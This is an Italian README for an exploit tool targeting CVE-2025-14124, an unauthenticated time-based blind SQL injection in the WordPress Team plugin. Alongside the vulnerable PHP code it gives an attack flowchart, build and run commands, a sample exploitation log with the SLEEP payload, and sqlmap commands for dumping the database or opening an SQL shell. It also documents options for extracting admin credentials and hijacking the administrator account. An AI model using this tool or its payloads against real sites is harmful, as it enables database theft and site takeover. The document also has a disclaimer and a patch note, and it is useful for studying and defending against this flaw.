
SQL Injection non autenticata (blind basata sul tempo)
Autore: Hyun Chiya
| Campo | Valore |
|---|---|
| CVE ID | CVE-2025-14124 |
| Plugin | WordPress Team Plugin |
| Versioni interessate | < 5.0.11 |
| Tipo di vulnerabilità | Iniezione SQL non autenticata (blind basata sul tempo) |
| Gravità | Alta |
Il plugin WordPress Team non sanifica e non esegue l'escape del parametro search prima di utilizzarlo in un'istruzione SQL tramite un'azione AJAX disponibile agli utenti non autenticati, portando a un'iniezione SQL.
Il codice vulnerabile si trova in app/Controllers/Frontend/Ajax/LoadMore.php:
// Line 221 - User input sanitized but NOT SQL-escaped
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );
// Line 437-438 - VULNERABLE: Direct SQL concatenation
function tlp_team_search_where( $where ) {
global $wpdb;
$term = $wpdb->esc_like( $this->s['s'] ); // ⚠️ esc_like only escapes %, _, \
$where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)"; // ⚠️ SQLi!
}
Problema: $wpdb->esc_like() esegue l'escape solo dei caratteri jolly LIKE, NON dei metacaratteri per l'iniezione SQL.
flowchart TD
A["Attacker finds page with [tlpteam] shortcode"] --> B["Extract tlp_nonce and data-sc-id"]
B --> C["POST to /wp-admin/admin-ajax.php"]
C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
D --> E{"Nonce valid?"}
E -->|Yes| F["SQL query executed with payload"]
F --> G["Time-based detection via SLEEP()"]
style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
style G fill:#51cf66,stroke:#2f9e44,color:#fff
[tlpteam]go build -o CVE-2025-14124.exe main.go
.\CVE-2025-14124.exe -u http://target.com
.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/
.\CVE-2025-14124.exe -u http://target.com --check-only
.\CVE-2025-14124.exe -u http://target.com --delay 5
--dump)Quando si usa --dump, lo strumento estrarrà:
Nota: L'estrazione dei dati è lenta a causa della natura dell'iniezione SQL blind basata sul tempo (circa 5-15 minuti per un'estrazione completa).
--create-admin)Tenta di modificare la password dell'amministratore esistente tramite UPDATE SQL.
⚠️ Importante: Questa modalità richiede il supporto delle query impilate, che in genere è disattivato in PHP+MySQL. Se le query impilate non sono supportate, usa
--dumpper estrarre le credenziali, oppure usasqlmap --sql-shellper l'esecuzione diretta di UPDATE.
>> [ ONLINE ]
╔═══════════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2025-14124 - WordPress Team Plugin SQL Injection ║
║ Affected: tlp-team < 5.0.11 ║
║ Author: Hyun Chiya ║
╚═══════════════════════════════════════════════════════════════════════════════════════╝
>> [ INFORMATION ]
[*] Checking if WordPress Team Plugin is active...
[+] Plugin detected: /wp-content/plugins/tlp-team/readme.txt
[+] Plugin detected!
[*] Searching for page with tlpteam shortcode...
[+] Found team page: http://target.com/our-team/
[+] Target page: http://target.com/our-team/
[+] Extracted nonce: abc123def456
[+] Extracted scID: 42
============================================================
[*] EXPLOIT: Time-Based Blind SQL Injection
============================================================
[*] Payload: t' OR SLEEP(3) OR 't'='t
[*] Expected delay: ~9 seconds (SLEEP executes 3 times)
[*] Sending malicious request...
[*] Response time: 9.23 seconds
[+] SQL INJECTION CONFIRMED!
[+] Response delayed by ~9 seconds (expected: 9)
[!] The target is vulnerable to Time-Based Blind SQL Injection
[!] Database can be extracted using tools like sqlmap
[*] Done.
Per uno sfruttamento avanzato, puoi usare sqlmap dopo aver confermato la vulnerabilità:
# Dump database
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --batch --dump
# SQL Shell (for UPDATE queries)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --sql-shell
⚠️ IMPORTANTE: Aggiorna il plugin WordPress Team alla versione 5.0.11 o successiva, in cui la vulnerabilità è stata corretta con un corretto escaping SQL tramite
$wpdb->prepare().
Questo strumento è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati. L'accesso non autorizzato a sistemi informatici è illegale. Usalo in modo responsabile.
Hyun Chiya
| Argomento | Descrizione |
|---|
-u | URL WordPress di destinazione (obbligatorio) |
--page-url | URL della pagina contenente lo shortcode tlpteam |
--delay | Secondi di SLEEP per il rilevamento (predefinito: 1) |
--dump | Estrae le informazioni del database e le credenziali dell'amministratore WordPress |
--create-admin | Tenta di dirottare l'account amministratore (richiede query impilate) |
--admin-user | Nome utente per il dirottamento dell'admin (predefinito: pwned_admin) |
--admin-pass | Password per il dirottamento dell'admin (predefinita: Pwned123!) |
--check-only | Controlla solo se il plugin è attivo |
--timeout | Timeout della richiesta in secondi (predefinito: 120) |